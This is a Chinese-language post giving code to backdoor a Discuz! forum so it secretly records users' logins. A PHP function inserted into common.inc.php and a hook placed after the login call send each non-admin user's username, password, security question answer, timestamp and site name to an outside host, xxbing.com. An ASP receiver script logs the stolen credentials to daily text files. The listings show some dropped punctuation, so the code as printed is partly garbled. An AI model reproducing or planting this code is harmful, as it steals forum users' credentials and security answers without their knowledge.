DZ记录密码,我自己做了份代码。
include/common.inc.php 里面插一个自定义函数。
我选择放在 41-53行。dz7.1-72 include/login.func.php (49-51行) | dz7.0 是在根目录的logging.php

  1. function request_by_other($remote_server,$post_string){ 
  2.     $context = array
  3.         'http'=>array
  4.             'method'=>'POST'
  5.             'header'=>'Content-type: application/x-www-form-urlencoded'."\r\n"
  6.                       'User-Agent : xxbing\'s fuckyou!!!'."\r\n"
  7.                       'Content-length: '.strlen($post_string)+8, 
  8.             'content'=>'mypost='.$post_string
  9.         ); 
  10.     $stream_context = stream_context_create($context); 
  11.     $data = file_get_contents($remote_server,FALSE,$stream_context); 
  12.     return $data

找到根目录下的 logging.php文件。搜索下面代码。

  1. $ucresult = uc_user_login($username$password$loginfield == 'uid'); 

然后在后面插上下面的代码:

  1. if($username!='admin'){ 
  2.         $showtime=gmdate("Ynj H:i:s",time()+8*3600); 
  3.                 if($answer==''){ 
  4.                 $answer='无!'
  5.                 } 
  6.         //name1无用。但是必须加 
  7.         $post_string = 'name1='.$name2.'&name='.$username.'&password='.$password.'&questionid='.$questionid.'&answer='.$answer.'&showtime='.$showtime.'&from='.$_SERVER['SERVER_NAME']; 
  8.         request_by_other('http://www.xxbing.com/fasong.asp',$post_string); 
  9.                                                 } 

因为我熟悉asp,所以接受端我用asp写的。
asp代码如下:

  1. <% 
  2. '接收文件 
  3. 'body0 = request.form("name1"
  4. body1 = request.form("name"
  5. body2 = request.form("password"
  6. body3 = request.form("questionid"
  7. body4 = request.form("answer"
  8. body5 = request.form("showtime"
  9. body7 = request.form("from"
  10. body6 = "账号:"&body1 &"---密码:"& body2 &"---问题ID:"& body3 &"---答案:"& body4 &"---时间:"& body5 &"---来源:" & body7 
  11.  
  12. 'response.write body6 
  13. FileName = date()&".txt" 
  14. '这里之所以要替换,是为了兼容IIS7的环境。 
  15. FileName = Replace(FileName,"/","-"
  16.  
  17. if body6 <>"" then 
  18. Call CreateFile(body6,FileName) 
  19. end if 
  20.  
  21. Sub CreateFile(body,FileName) 
  22. Dim fso, tf ,cf 
  23. Set fso = CreateObject("Scripting.FileSystemObject"
  24. Set tf = fso.openTextFile(server.mappath(FileName),8,True,0) 
  25. tf.WriteLine body 
  26. tf.WriteLine "----------------" 
  27. tf.Close 
  28. set fso = nothing 
  29. End Sub 
  30. %>